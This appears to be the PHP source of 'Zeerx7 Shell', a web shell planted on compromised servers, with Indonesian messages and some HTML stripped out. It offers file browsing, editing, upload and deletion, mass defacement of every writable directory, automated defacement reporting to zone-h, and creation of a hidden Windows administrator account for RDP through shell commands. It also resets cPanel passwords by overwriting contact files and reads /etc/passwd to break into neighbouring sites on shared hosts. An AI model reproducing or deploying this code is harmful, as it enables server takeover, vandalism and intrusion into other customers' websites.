{ Zeerx7 Shell } "; if (empty($_GET['dir'])) { $dir = getcwd(); } else { $dir = $_GET['dir']; chdir($dir); } function pausipath() { global $dir; $path = str_replace('\\', '/', $dir); $paths = explode('/', $path); foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $a = true; echo '/'; continue; } if ($pat == '') continue; echo '' . $pat . '/'; } } function ip_info() { $ip2 = getHostByName(getHostName()); $p = "Server IP: " . $ip2 . " | Your IP: " . $_SERVER['REMOTE_ADDR']; return $p; } $verPHP = phpversion(); $IP = getHostByName(getHostName()); $localhost = shell_exec(hostname); $soft = $_SERVER['SERVER_SOFTWARE']; $mysql = (function_exists('mysql_connect')) ? "ON" : "OFF"; $curl = (function_exists('curl_version')) ? "ON" : "OFF"; $mail = (function_exists('mail')) ? "ON" : "OFF"; echo "^_^ Zeerx7 Shell *_*

" . php_uname() . "
" . ip_info() . "
$soft
MySQL: $mysql | cURL: $curl | MAILER: $mail
"; pausipath(); echo ' [ '; if (is_writable($dir)) echo ''; elseif (!is_readable($dir)) echo ''; echo perms($dir) . ' ]'; echo "

"; if ($_GET['logout'] == 'true') { session_start(); session_destroy(); header('location: ?'); echo " "; } elseif ($_GET['action']) { if ($_GET['action'] == 'rename') { echo "

"; $re = $_GET['rename']; echo " "; if (isset($_POST['fok'])) { $new = $_POST['fname']; if (rename($re, "$dir/$new")) { echo "Rename Successfully"; } else { echo "Rename Failed"; } } } elseif ($_GET['action'] == 'edit') { $save = $_GET['edit']; echo "

edit=> $save

"; if (!empty($_POST['pausiganteng'])) { $up = fopen($save, "w"); $res = fwrite($up, $_POST['pausi_ganteng']); if ($res) { echo "

Edit Successfully

"; } else { echo "

Failed!!

"; } } $cont = htmlspecialchars(file_get_contents($save)); echo "

"; } elseif ($_GET['action'] == 'view') { echo "

"; echo "View Files=> " . $_GET['view'] . "
"; $cont = htmlspecialchars(file_get_contents($_GET['view'])); echo "

$cont

"; } elseif ($_GET['action'] == 'delete-file') { if (unlink($_GET['delete'])) { $del_pausi = "

Delete Successfully

"; } else { $del_pausi = "

Delete Failed

"; } pausi_tampilkan(); } elseif ($_GET['action'] == 'delete-dir') { $del = delTree($_GET['delete-dir']); if ($del) { $del_pausi = "

Delete Successfully

"; } else { $del_pausi = "

Delete Failed

"; } pausi_tampilkan(); } elseif ($_GET['action'] == 'create_file') { echo ('

'); if ($_POST['new_file'] and $_POST['pausi_create_file']) { $n = $_POST['new_file']; $isi = $_POST['pausi_create_file']; $b = @fopen($n, "w"); $sep = @fwrite($b, $isi); if ($sep) { echo "

Create $n Successfully

"; } else { echo "

Create $n Failed

"; } echo "
"; } echo ""; } elseif ($_GET['action'] == 'new-dir') { echo ('

'); if ($_POST['new_dr']) { $sep = @mkdir($_POST['new_dr']); if ($sep) { echo "

Create $n Successfully

"; } else { echo "

Create $n Failed

"; } echo "
"; } echo "

New Folder: "; } } elseif ($_GET['tools']) { if ($_GET['tools'] == 'jumping') { echo "

"; aksiJump($dir, $IP); } elseif ($_GET['tools'] == 'mass_deface') { if ($_POST['start']) { if ($_POST['tipe'] == 'massal') { echo "

"; mass_deface($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

"; } elseif ($_POST['tipe'] == 'biasa') { echo "

"; mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

"; } echo "<- back to home"; } else { echo "

"; } } elseif ($_GET['tools'] == 'crack_cpanel') { crack_cpanel(); } elseif ($_GET['tools'] == 'zone-h') { echo "

"; if ($_POST['submit']) { $domain = explode("\r\n", $_POST['url']); $nick = $_POST['nick']; echo "Defacer Onhold: http://www.zone-h.org/archive/notifier=$nick/published=0
"; echo "Defacer Archive: http://www.zone-h.org/archive/notifier=$nick

"; function zoneh($url, $nick) { $ch = curl_init("http://www.zone-h.com/notify/single"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send"); return curl_exec($ch); curl_close($ch); } foreach ($domain as $url) { $zoneh = zoneh($url, $nick); if (preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) { echo "$url -> OK
"; } else { echo "$url -> ERROR
"; } } } else { echo " Zone-H Mass Notify
"; echo "
"; } } elseif ($_GET['tools'] == 'RDP') { echo "

"; $inf = "

--------------{ INFORMATION }--------------

"; if ($_POST['create_rdp']) { print $inf; $user = $_POST['user']; $pass = $_POST['pass']; $cek = shell_exec("net user"); if (preg_match("/$user/", $cek)) { echo $localhost . $user . " sudah ada
"; } else { $cmd_add_user = shell_exec("net user " . $user . " " . $pass . " /add"); $cmd_add_groups1 = shell_exec("net localgroup Administrators " . $user . " /add"); $cmd_add_groups2 = shell_exec("net localgroup Administrator " . $user . " /add"); $cmd_add_groups3 = shell_exec("net localgroup Administrateur " . $user . " /add"); if ($cmd_add_user) { echo "# [add user]-> " . $user . " Berhasil
"; } else { echo "# [add user]-> " . $user . " Gagal
"; } if ($cmd_add_groups1) { echo "# [add localgroup Administrators]-> " . $user . " Berhasil
"; } else if ($cmd_add_groups2) { echo "# [add localgroup Administrator]-> " . $user . " Berhasil
"; } else if ($cmd_add_groups3) { echo "# [add localgroup Administrateur]-> " . $user . " Berhasil
"; } else { echo "# [add localgroup]-> " . $user . " Gagal
"; } echo "# [INFO PC]-> RDP IP " . $_SERVER["HTTP_HOST"] . " Username : " . $user . " Password : " . $pass . " Berhasil
"; } } elseif ($_POST['option']) { print $inf; if ($_POST['action'] == "1") { echo "

" . shell_exec("net user") . "

"; } else if ($_POST['action'] == "2") { $username = $_POST['user']; $cmd_cek_user = shell_exec("net user"); if (!empty($username)) { if (preg_match("/$username/", $cmd_cek_user)) { $cmd_add_user = shell_exec("net user " . $username . " /DELETE"); if ($cmd_add_user) { echo "# [remove user]-> " . $username . " Berhasil
"; } else { echo "# [remove user]-> " . $username . " gagal
"; } } else { echo "# [remove user]-> " . $username . " Tidak ditemukan
"; } } else { echo "# [PESAN]-> Kamu lupa masukin Username yang akan di delete
"; } } else if ($_POST['action'] == "3") { $username = $_POST['user']; $password = $_POST['pass']; $cmd_cek_user = shell_exec("net user"); if (!empty($username)) { if (preg_match("/$username/", $cmd_cek_user)) { $cmd_add_user = shell_exec("net user " . $username . " shor7cut"); if ($cmd_add_user) { echo "# [change password]-> (" . $username . "|" . $password . ") Berhasil
"; } else { echo "# [change password]-> (" . $username . "|" . $password . ") GAGAL
"; } } else { echo "# [PESAN]-> Username Tidak Ditemukan di server
"; } } else { echo "# [PESAN]-> Kamu lupa masukin Username yang akan di delete
"; } } } } } elseif ($_GET['upload'] == 'true') { if (isset($_FILES['pausi_upload'])) { foreach ($_FILES['pausi_upload']['name'] as $key => $val) { $name = $_FILES['pausi_upload']['name'][$key]; $tmp = $_FILES['pausi_upload']['tmp_name'][$key]; if (trim($name) != '') { if (move_uploaded_file($tmp, $name)) { $del_pausi = '

Uploaded ' . $name . ' Successfully

'; } else { $del_pausi = "

Failed to Upload " . $name . "

"; } } } } pausi_tampilkan(); } else { pausi_tampilkan(); } echo "

"; function mass_deface($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc . '/' . $namafile; if ($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif ($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[DONE] $lokasi
"; file_put_contents($lokasi, $isi_script); $idx = mass_deface($dirc, $namafile, $isi_script); } } } } } } function mass_biasa($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc . '/' . $namafile; if ($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif ($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[DONE] $dirb/$namafile
"; file_put_contents($lokasi, $isi_script); } } } } } } function delTree($dir) { $files = array_diff(scandir($dir), array( '.', '..' )); foreach ($files as $file) { (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); } return rmdir($dir); } function pausi_tampilkan() { global $dir; global $del_pausi; echo "

$del_pausi "; $si = scandir($dir); foreach ($si as $fol) { $waktu = date("D-m-Y G:i", filemtime("$dir/$fol")); $pausi_perms = perms($dir . "/" . $fol); if ($fol == ".") { continue; } elseif ($fol == "..") { print ""; } else { if (is_dir("$dir/$fol") == true) { print ""; } } } foreach ($si as $file) { $waktu = date("D-m-Y G:i", filemtime("$dir/$file")); $pausi_perms = perms($dir . "/" . $file); if ($file == "." || $file == "..") { continue; } else { $size = filesize("$dir/$file") / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . ' MB'; } else { $size = $size . ' KB'; } if (is_file("$dir/$file") == true) { print ""; } } } echo ""; } function pausi_login() { global $MyPass; echo " { Zeerx7 Shell }

   / \       _-'
  /|  \-''- _ /
 { |          \
/             \
/       \"o.  |o }
|            \ ;
\             ',
 --\_         __\
     ''-_    \.//
        '-____'

"; session_start(); if ($_POST['pw'] == $MyPass) { $_SESSION['login'] = $MyPass; print ""; } exit; } function perms($pausi_gan77) { $perms = fileperms($pausi_gan77); if (($perms & 0xC000) == 0xC000) { $f = 's'; } elseif (($perms & 0xA000) == 0xA000) { $f = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $f = '-'; } elseif (($perms & 0x6000) == 0x6000) { $f = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $f = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $f = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $f = 'p'; } else { $f = 'u'; } $f .= (($perms & 0x0100) ? 'r' : '-'); $f .= (($perms & 0x0080) ? 'w' : '-'); $f .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $f .= (($perms & 0x0020) ? 'r' : '-'); $f .= (($perms & 0x0010) ? 'w' : '-'); $f .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $f .= (($perms & 0x0004) ? 'r' : '-'); $f .= (($perms & 0x0002) ? 'w' : '-'); $f .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $f; } function crack_cpanel() { echo "

"; echo '

Crack Cpanel

'; $IIIIIIIIIIII = get_current_user(); $IIIIIIIIIII1 = $_SERVER['HTTP_HOST']; $IIIIIIIIIIlI = getenv('REMOTE_ADDR'); if (isset($_POST['submit'])) { $email = $_POST['email']; $IIIIIIIIIIl1 = 'email:' . $email; $IIIIIIIIII1I = fopen('/home/' . $IIIIIIIIIIII . '/.cpanel/contactinfo', 'w'); fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1); fclose($IIIIIIIIII1I); $IIIIIIIIII1I = fopen('/home/' . $IIIIIIIIIIII . '/.contactinfo', 'w'); fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1); fclose($IIIIIIIIII1I); $IIIIIIIIIlIl = "https://"; $IIIIIIIIIlI1 = "2083"; $IIIIIIIIIllI = $IIIIIIIIIII1 . ':2083/resetpass?start=1'; $read_named_conf = @file('/home/' . $IIIIIIIIIIII . '/.cpanel/contactinfo'); if (!$read_named_conf) { echo "

maaf dak pacak di akses ster

"; } else { echo "SALIN INI STER TRUZZ GASS

"; echo ' '; echo '

'; ; } } } function aksiJump($dir, $ip) { $i = 0; echo "

"; if (preg_match("/hsphere/", $dir)) { $urls = explode("\r\n", $_POST['url']); if (isset($_POST['jump'])) { echo "

";
            foreach ($urls as $url) {
                $url = str_replace(array(
                    "http://",
                    "www."
                ), "", strtolower($url));
                $etc = "/etc/passwd";
                $f   = fopen($etc, "r");
                while ($gets = fgets($f)) {
                    $pecah    = explode(":", $gets);
                    $user     = $pecah[0];
                    $dir_user = "/hsphere/local/home/$user";
                    if (is_dir($dir_user) === true) {
                        $url_user = $dir_user . "/" . $url;
                        if (is_readable($url_user)) {
                            $i++;
                            $jrw = "[R] $url_user";
                            if (is_writable($url_user)) {
                                $jrw = "[RW] $url_user";
                            }
                            echo $jrw . "
";
                        }
                    }
                }
            }
            if (!$i == 0) {
                echo "
Total ada $i KAMAR di $ip";
            }
            echo "

"; } else { echo ' List Domains:

'; } } elseif (preg_match("/vhosts/", $dir)) { $urls = explode("\r\n", $_POST['url']); if (isset($_POST['jump'])) { echo "

";
            foreach ($urls as $url) {
                $web_vh = "/var/www/vhosts/$url/httpdocs";
                if (is_dir($web_vh) === true) {
                    if (is_readable($web_vh)) {
                        $i++;
                        $jrw = "[R] $web_vh";
                        if (is_writable($web_vh)) {
                            $jrw = "[RW] $web_vh";
                        }
                        echo $jrw . "
";
                    }
                }
            }
            if (!$i == 0) {
                echo "
Total ada $i Kamar Di $ip";
            }
            echo "

"; } else { echo ' List Domains:

'; } } else { echo "

";
        $etc = fopen("/etc/passwd", "r") or die("Can't read /etc/passwd
");
        while ($passwd = fgets($etc)) {
            if ($passwd == '' || !$etc) {
                echo "Can't read /etc/passwd
";
            } else {
                preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
                foreach ($user_jumping[1] as $user_pro_jump) {
                    $user_jumping_dir = "/home/$user_pro_jump/public_html";
                    if (is_readable($user_jumping_dir)) {
                        $i++;
                        $jrw = "[R] $user_jumping_dir";
                        if (is_writable($user_jumping_dir)) {
                            $jrw = "[RW] $user_jumping_dir";
                        }
                        echo $jrw;
                        if (function_exists('posix_getpwuid')) {
                            $domain_jump = file_get_contents("/etc/named.conf");
                            if ($domain_jump == '') {
                                echo " => ( gabisa ambil nama domain nya )
";
                            } else {
                                preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                                foreach ($domains_jump[1] as $dj) {
                                    $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
                                    $user_jumping_url = $user_jumping_url['name'];
                                    if ($user_jumping_url == $user_pro_jump) {
                                        echo " => ( $dj )
";
                                        break;
                                    }
                                }
                            }
                        } else {
                            echo "
";
                        }
                    }
                }
            }
        }
        if (!$i == 0) {
            echo "
Total ada $i kamar di $ip";
        }
        echo "

"; } echo "

"; exit; } ?>

Name	Size	Modified	Permission	Action
$fol	--	" . $waktu . "	"; if (is_writable($dir . '/' . $file)) echo ''; elseif (!is_readable($dir . '/' . $file)) echo ''; print $pausi_perms . "	New File \| New Folder
$fol	--	" . $waktu . "	"; if (is_writable($dir . '/' . $file)) echo ''; elseif (!is_readable($dir . '/' . $file)) echo ''; print $pausi_perms . "	Delete \| Rename
$file	$size	$waktu	"; if (is_writable($dir . '/' . $file)) echo ''; elseif (!is_readable($dir . '/' . $file)) echo ''; echo "$pausi_perms	Edit \| Delete \| Rename \| Download

Edit Successfully

Failed!!

Delete Successfully

Delete Failed

Delete Successfully

Delete Failed

Create $n Successfully

Create $n Failed

New File:

Isi File:

Create $n Successfully

Create $n Failed

Uploaded ' . $name . ' Successfully

Failed to Upload " . $name . "

maaf dak pacak di akses ster